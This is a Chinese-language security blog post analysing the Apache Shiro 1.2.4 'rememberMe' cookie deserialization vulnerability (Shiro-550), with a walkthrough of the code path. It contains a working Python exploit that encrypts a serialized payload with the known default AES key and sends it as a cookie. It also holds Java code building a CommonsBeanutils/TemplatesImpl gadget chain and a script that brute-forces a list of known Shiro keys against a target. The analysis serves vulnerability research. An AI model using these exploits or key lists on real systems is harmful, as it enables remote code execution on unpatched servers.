Java反序列化之Shrio550反序列化漏洞

环境配置

shiro 1.2.4

jdk8u71

tomcat 8.5.79

漏洞分析

2023-05-06T03:22:59.png

我们在登录的时候如果勾选了RememberMe这个选项,就会多一个rememberMe的Cookie

那么这个cookie里面的信息有什么意义呢?

我们先找到处理rememberMe的类,找到处理cookie的相关函数

2023-05-06T03:23:06.png

可以发现这个方法里将一个序列化后的数据base64编码后放到了cookie里面

接下来是找什么方法调用rememberSerializedIdentity

2023-05-06T03:23:16.png

继续跟进convertPrincipalsToBytes

2023-05-06T03:23:23.png

发现是序列化一些东西后进行了加密

我们继续看看加密函数

我们再看看这里的key是哪里来的

2023-05-06T03:25:21.png

2023-05-06T03:25:28.png

2023-05-06T03:25:34.png

2023-05-06T03:25:40.png

最后找到了密钥

接下来还有个问题,就是AES加解密时的iv是多少?

我们来跟进一下

2023-05-06T03:25:48.png

2023-05-06T03:25:55.png

可以看到,就是把密文的前16位copy给iv,然后把后面的部分解密了

EXP和一些报错的处理

exp

import requests
from base64 import b64decode, b64encode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

url = "http://localhost:9001/shiro550_war/login.jsp"

key = b64decode("kPH+bIxk5D2deZiIxcaaaA==")

payload = b""

with open("ser.bin", "rb") as f:
    payload = f.read()

iv = b"1" * 16

payload = pad(payload, 16)

payload = b64encode(iv + AES.new(key, AES.MODE_CBC, iv).encrypt(payload))

print(payload)

payload = str(payload, encoding="utf-8")

print(payload)

requests.post(url, cookies={"rememberMe": payload})

CC6

打CC6的时候发现报错了

2023-05-06T03:26:05.png

进入到报错的类,发现重写了 resolveClass() 方法, 用的是ClassUtils.forname

2023-05-06T03:26:12.png

最后可以发现产生异常的是org.apache.commons.collections.Transformer

也就是如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。

可以考虑将CC6的后半部分改为TemplateImpl动态加载字节码,也就是CC11

CommonBeanUtils

这条链子是Shiro内部的原生链,直接用payload打会报错

一个是因为版本的问题:shiro自带的CommonBeanUtils是1.8.3版本

还有一个是因为普通的链子也有CommonCollections依赖

2023-05-06T03:26:20.png

不过它还有一个构造方法

2023-05-06T03:26:26.png

我们只要找一个可以序列化的comparator就行了

修改后的代码:

    public static void main(String argc[])throws Exception{
        Field field;

        TemplatesImpl templates = new TemplatesImpl();
        byte[] evil = Files.readAllBytes(Paths.get("calc.class"));

        field = TemplatesImpl.class.getDeclaredField("_name");
        field.setAccessible(true);
        field.set(templates, "P3ngu1nW");

        field = TemplatesImpl.class.getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templates, new byte[][]{evil});

        field = TemplatesImpl.class.getDeclaredField("_tfactory");
        field.setAccessible(true);
        field.set(templates, new TransformerFactoryImpl());

        BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());

        PriorityQueue priorityQueue = new PriorityQueue<>(2);

        priorityQueue.add(1);
        priorityQueue.add(1);

        field = PriorityQueue.class.getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(priorityQueue, beanComparator);

        field = PriorityQueue.class.getDeclaredField("queue");
        field.setAccessible(true);
        field.set(priorityQueue, new Object[]{templates, templates});

        serialize(priorityQueue);
        unserialize("ser.bin");
    }

漏洞探测

指纹识别

在利用 shiro 漏洞时需要判断应用是否用到了 shiro。在请求包的 Cookie 中为 rememberMe 字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,说明目标有使用 Shiro 框架,可以进一步测试。

AES密钥判断

前面说到 Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设 置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。 但是即使升级到了1.2.4以上的版本,很多开源的项目会自己设定密钥。可以收集密钥的集合,或者对密钥进行爆破。

那么如何判断密钥是否正确呢?文章 一种另类的 shiro 检测方式提供了思路,当密钥不正确或类型转换异常时,目标 Response 包含 Set-Cookie:rememberMe=deleteMe 字段,而当密钥正确且没有类型转换异常时,返回包不存在 Set-Cookie:rememberMe=deleteMe 字段。

因此我们需要构造 payload 排除类型转换错误,进而准确判断密钥。

shiro 在 1.4.2 版本之前, AES 的模式为 CBC, IV 是随机生成的,并且 IV 并没有真正使用起来,所以整个 AES 加解密过程的 key 就很重要了,正是因为 AES 使用 Key 泄漏导致反序列化的 cookie 可控,从而引发反序列化漏洞。在 1.4.2 版本后,shiro 已经更换加密模式 AES-CBC 为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。

这里给出大佬 Veraxy 的脚本:

import base64
import uuid
import requests
from Crypto.Cipher import AES
 
def encrypt_AES_GCM(msg, secretKey):
    aesCipher = AES.new(secretKey, AES.MODE_GCM)
    ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
    return (ciphertext, aesCipher.nonce, authTag)
 
def encode_rememberme(target):
    keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ==']     # 此处简单列举几个密钥
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
 
    file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
    for key in keys:
        try:
            # CBC加密
            encryptor = AES.new(base64.b64decode(key), mode, iv)
            base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
            res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
            if res.headers.get("Set-Cookie") == None:
                print("正确KEY :" + key)
                return key
            else:
                if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                    print("正确key:" + key)
                    return key
            # GCM加密
            encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
            base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
            res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)
 
            if res.headers.get("Set-Cookie") == None:
                print("正确KEY:" + key)
                return key
            else:
                if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                    print("正确key:" + key)
                    return key
            print("正确key:" + key)
            return key
        except Exception as e:
            print(e)

参考资料

https://drun1baby.top/2022/07/10/Java反序列化Shiro篇01-Shiro550流程分析/#0x05-漏洞探测

https://johnfrod.top/安全/shiro反序列化漏洞分析/

https://www.bilibili.com/video/BV1iF411b7bD/